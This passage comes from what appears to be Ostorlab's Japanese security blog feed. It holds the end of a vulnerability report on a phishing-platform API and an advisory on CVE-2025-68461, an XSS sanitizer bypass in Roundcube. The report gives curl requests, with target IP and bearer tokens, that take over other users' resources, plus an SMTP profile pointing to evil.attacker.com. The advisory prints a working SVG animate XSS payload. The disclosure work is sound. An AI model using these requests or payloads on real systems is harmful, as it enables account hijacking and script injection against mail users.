&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/api/pages/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="err"&gt;Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;a&lt;/span&gt;&lt;span class="kc"&gt;tta&lt;/span&gt;&lt;span class="err"&gt;cker_api_key&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STOLEN_PAGE"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"html"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"capture_credentials"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Crea&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;

&lt;span class="err"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/api/sm&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;p/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="err"&gt;Au&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;horiza&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;io&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bearer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;a&lt;/span&gt;&lt;span class="kc"&gt;tta&lt;/span&gt;&lt;span class="err"&gt;cker_api_key&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"STOLEN_SMTP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"host"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"evil.attacker.com:25"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;Respo&lt;/span&gt;&lt;span class="kc"&gt;nse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Crea&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;持ち出されたデータ：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;標的のメールアドレス：john.victim@testcorp.com、jane.target@testcorp.com、bob.doe@financial.com  &lt;/li&gt;
&lt;li&gt;件名が「Urgent: Your Account Security」のフィッシングテンプレートID 113  &lt;/li&gt;
&lt;li&gt;認証情報収集の設定を含むランディングページID 60  &lt;/li&gt;
&lt;li&gt;SMTP送信プロファイルID 81&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="検証のエビデンス"&gt;検証のエビデンス&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証試行1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;id=106を指定したPOST /api/groups/がHTTP 201 Createdを返し、所有権が攻撃者に移った**&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証試行2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;id=113を指定したPOST /api/templates/がHTTP 201 Createdを返した&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証試行3&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;id=60を指定したPOST /api/pages/がHTTP 201 Createdを返した&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証試行4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;id=81を指定したPOST /api/smtp/がHTTP 201 Createdを返した&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証試行5&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;乗っ取られたリソースにアクセスすると、元の所有者はHTTP 404を受け取る&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証試行6&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;盗んだリソースにアクセスすると、攻撃者はHTTP 200を受け取る&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;検証試行7&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;根本原因&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;POST /api/groups/エンドポイントは、JSONリクエストボディの&lt;code&gt;id&lt;/code&gt;フィールドを、そのIDが別のユーザーが所有する既存のリソースに属しているかどうかを検証せずに受け付けて処理します。バックエンドはクライアントが指定したIDをそのまま使用するため、IDが別のユーザーのリソースを参照している場合に所有権の移転が発生します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱なコードパターン&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Endpoint accepts full JSON body including 'id' field&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/api/groups/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UseGroups&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RequireAPIKey&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c1"&gt;// Handler processes JSON directly without stripping/validating 'id'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;悪用のエビデンス&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ1 - ベースラインの確認：管理者がグループ110を所有しており、攻撃者はアクセスできない：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Admin retrieves their group&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://34.55.131.240:3333/api/groups/110'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス：&lt;/strong&gt;HTTP 200 - グループには機密の標的メールアドレスが4件含まれている&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Attacker attempts access (pre-hijack)&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://34.55.131.240:3333/api/groups/110'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス：&lt;/strong&gt;HTTP 404 - &lt;code&gt;{"message":"Group not found","success":false,"data":null}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ2 - 攻撃者が既存のIDを指定してグループを乗っ取る：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://34.55.131.240:3333/api/groups/'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス：&lt;/strong&gt;HTTP 201 Created&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"HIJACKED_GROUP_BY_ATTACKER"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"targets"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ステップ3 - 所有権の移転を確認：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Admin attempts to access their group (post-hijack)&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://34.55.131.240:3333/api/groups/110'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス：&lt;/strong&gt;HTTP 404 - &lt;code&gt;{"message":"Group not found","success":false,"data":null}&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Attacker retrieves stolen group&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://34.55.131.240:3333/api/groups/110'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス：&lt;/strong&gt;HTTP 200 - 元の標的を含むグループの全データ：&lt;/p&gt;
&lt;p&gt;executive@testcompany.com&lt;/p&gt;
&lt;p&gt;hr@testcompany.com&lt;/p&gt;
&lt;p&gt;itadmin@testcompany.com&lt;/p&gt;
&lt;p&gt;finance@testcompany.com&lt;/p&gt;
&lt;h2 id="byok(bring your own key)でagentic deep scanを試す"&gt;BYOK（Bring Your Own Key）でAgentic Deep Scanを試す&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="APIキーを追加してAIモデルを選択できるOstorlabプラットフォームのBYOKメニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-03-19_ostorlab_launches_agentic_deep_scan/byok-agentic-deep-scan.png" title="OstorlabプラットフォームのBYOKメニュー"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OstorlabプラットフォームのBYOKメニュー&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BYOK（Bring Your Own Key）&lt;/strong&gt;により、自社の認証情報を使って、データとコストを完全に管理したまま&lt;strong&gt;Agentic Deep Scanを安全に試せます&lt;/strong&gt;。自社のアプリで、この次世代のスキャンアプローチを手軽に試すことができます。&lt;/p&gt;
&lt;div style="text-align: center; margin: 20px 0"&gt;
&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan" style="background-color: #0081ba; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;" target="_blank"&gt;Agentic Deep Scanを試す&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Agentic Deep Scanの詳細：&lt;/strong&gt;&lt;br/&gt;
- &lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;Web Agentic Deep Scan&lt;/a&gt;&lt;br/&gt;
- &lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Mobile Agentic Deep Scan&lt;/a&gt;&lt;/p&gt;</content><category term="Product"/><category term="Agentic Deep Scan"/></entry><entry><title>CVE-2025-68461：RoundcubeにおけるSVG animateによるXSSサニタイザーバイパス</title><link href="https://blog.ostorlab.co/ja/cve-2025-68461-xss-roundcube.html" rel="alternate"/><published>2026-03-17T14:00:00+01:00</published><updated>2026-03-18T14:00:00+01:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-03-17:/ja/cve-2025-68461-xss-roundcube.html</id><summary type="html">&lt;p&gt;CVE-2025-68461（CVSS 7.2）は、名前空間プレフィックスを用いることでSVGのanimateタグをRoundcubeのサニタイザーに通してしまう脆弱性です。PoC、パッチ解析、Nucleiによる検出、緩和策を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2025-68461&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Roundcube WebmailにおけるSVG animateのXSSサニタイザーバイパス - PoCとエクスプロイト&lt;/p&gt;
&lt;p&gt;2025年12月17日 &amp;middot; CVSS 7.2 High &amp;middot; Roundcube &amp;lt; 1.5.12, &amp;lt; 1.6.12 &lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済みバージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2025-68461&lt;/td&gt;
&lt;td style="text-align: left;"&gt;7.2 High&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 1.5.12, &amp;lt; 1.6.12&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.5.12+,1.6.12+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="cve-2025-68461の概要:svg animateタグを介したxss"&gt;CVE-2025-68461の概要：SVG animateタグを介したXSS&lt;/h2&gt;
&lt;p&gt;Roundcube Webmailは広く導入されているオープンソースのWebメールクライアントで、cPanelにデフォルトでバンドルされており、世界中の大学、企業、政府機関で利用されています。&lt;/p&gt;
&lt;p&gt;Roundcube独自のHTMLサニタイザー&lt;strong&gt;（rcube_washtml.php）&lt;/strong&gt;がSVGの&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグを処理する方法に、格納型クロスサイトスクリプティング（XSS）の脆弱性が発見されました。このサニタイザーは、HTMLメールをユーザーのブラウザーでレンダリングする前に、危険なコンテンツを取り除く役割を担っています。サニタイザーは、href属性を標的とする&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;要素（&lt;strong&gt;SMIL&lt;/strong&gt;アニメーションを介してjavascript: URIを注入する既知のベクトル）を正しく識別してブロックします。しかし、このチェックはXMLの名前空間プレフィックスを考慮していません。攻撃者が&lt;code&gt;attributeName="href"&lt;/code&gt;ではなく&lt;code&gt;attributeName="xlink:href"&lt;/code&gt;を使うと、文字列比較が失敗し、&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグ全体がサニタイザーをそのまま通過してしまい、values属性内の&lt;code&gt;javascript:&lt;/code&gt;ペイロードがブラウザーに届けられます。&lt;/p&gt;
&lt;h2 id="xssサニタイザーバイパス:名前空間プレフィックスによる回避"&gt;XSSサニタイザーバイパス：名前空間プレフィックスによる回避&lt;/h2&gt;
&lt;p&gt;問題の核心は、サニタイザーのanimateタグをブロックするロジックにおける不完全な文字列比較です。サニタイザーはSVGのアニメーション要素に遭遇すると、それが&lt;code&gt;href&lt;/code&gt;属性を標的にしているかどうかを確認し、標的にしていればブロックします。このチェックは、&lt;code&gt;attributeName&lt;/code&gt;の値をリテラル文字列&lt;code&gt;"href"&lt;/code&gt;と比較するヘルパー関数を使っています。この比較ではXMLの名前空間プレフィックスの除去や正規化が行われないため、&lt;code&gt;"xlink:href"&lt;/code&gt;は&lt;code&gt;"href"&lt;/code&gt;と一致せず、タグが通過してしまいます。&lt;/p&gt;
&lt;h3 id="脆弱なコード"&gt;脆弱なコード&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;rcube_washtml.php&lt;/code&gt;において、&lt;code&gt;dumpHtml()&lt;/code&gt;メソッドがアニメーション要素に対するゲートキーパーのロジックを含んでいます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])&lt;/span&gt;
&lt;span class="x"&gt;    &amp;amp;&amp;amp; self::attribute_value($node, 'attributename', 'href')&lt;/span&gt;
&lt;span class="x"&gt;) {&lt;/span&gt;
&lt;span class="x"&gt;    $dump .= "&amp;lt;!-- {$tagName} blocked --&amp;gt;";&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;attribute_value()&lt;/code&gt;ヘルパーが比較を実行します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;private static function attribute_value($node, $attr_name, $attr_value)&lt;/span&gt;
&lt;span class="x"&gt;{&lt;/span&gt;
&lt;span class="x"&gt;    foreach ($node-&amp;gt;attributes as $name =&amp;gt; $attr) {&lt;/span&gt;
&lt;span class="x"&gt;        if (strtolower($name) === $attr_name) {&lt;/span&gt;
&lt;span class="x"&gt;            $val = strtolower(trim($attr-&amp;gt;nodeValue));&lt;/span&gt;
&lt;span class="x"&gt;            if ($attr_value === $val) {&lt;/span&gt;
&lt;span class="x"&gt;                return true;&lt;/span&gt;
&lt;span class="x"&gt;            }&lt;/span&gt;
&lt;span class="x"&gt;        }&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;    return false;&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;attributeName="xlink:href"&lt;/code&gt;の場合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strtolower(trim("xlink:href"))&lt;/code&gt;は&lt;code&gt;"xlink:href"&lt;/code&gt;を返します&lt;/li&gt;
&lt;li&gt;&lt;code&gt;"href" === "xlink:href"&lt;/code&gt;は&lt;strong&gt;false&lt;/strong&gt;と評価されます&lt;/li&gt;
&lt;li&gt;関数はfalseを返し、&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグ全体が&lt;code&gt;javascript:&lt;/code&gt;ペイロードをそのまま保持したまま通過します&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;さらに、&lt;code&gt;wash_attribs()&lt;/code&gt;メソッドには、アニメーション要素の&lt;code&gt;from&lt;/code&gt;属性と&lt;code&gt;to&lt;/code&gt;属性に対する二次的な脆弱経路があります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;if ($key == 'to' || $key == 'from') {&lt;/span&gt;
&lt;span class="x"&gt;    $key = strtolower($node-&amp;gt;getAttribute('attributeName'));  // "xlink:href"&lt;/span&gt;
&lt;span class="x"&gt;    if ($key &amp;amp;&amp;amp; !isset($this-&amp;gt;_html_attribs[$key])) {&lt;/span&gt;
&lt;span class="x"&gt;        $key = null;  // "xlink:href" not in allowlist &amp;rarr; skip dangerous-attribute check&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ここでは、&lt;code&gt;"xlink:href"&lt;/code&gt;が&lt;code&gt;_html_attribs&lt;/code&gt;許可リストに存在しないため、属性名が&lt;code&gt;null&lt;/code&gt;に設定され、危険な属性のサニタイズが完全にスキップされます。&lt;/p&gt;
&lt;h3 id="サニタイザーの出力結果"&gt;サニタイザーの出力結果&lt;/h3&gt;
&lt;p&gt;HTMLメールに次のペイロードが含まれている場合：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt; &lt;span class="na"&gt;xmlns:xlink&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/1999/xlink"&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"200"&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"50"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"a"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;animate&lt;/span&gt; &lt;span class="na"&gt;attributeName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"xlink:href"&lt;/span&gt; &lt;span class="na"&gt;values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert('CVE-2025-68461')"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"30"&lt;/span&gt; &lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"blue"&lt;/span&gt; &lt;span class="na"&gt;font-size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"14"&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text-decoration:underline;cursor:pointer"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      Click to view document
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
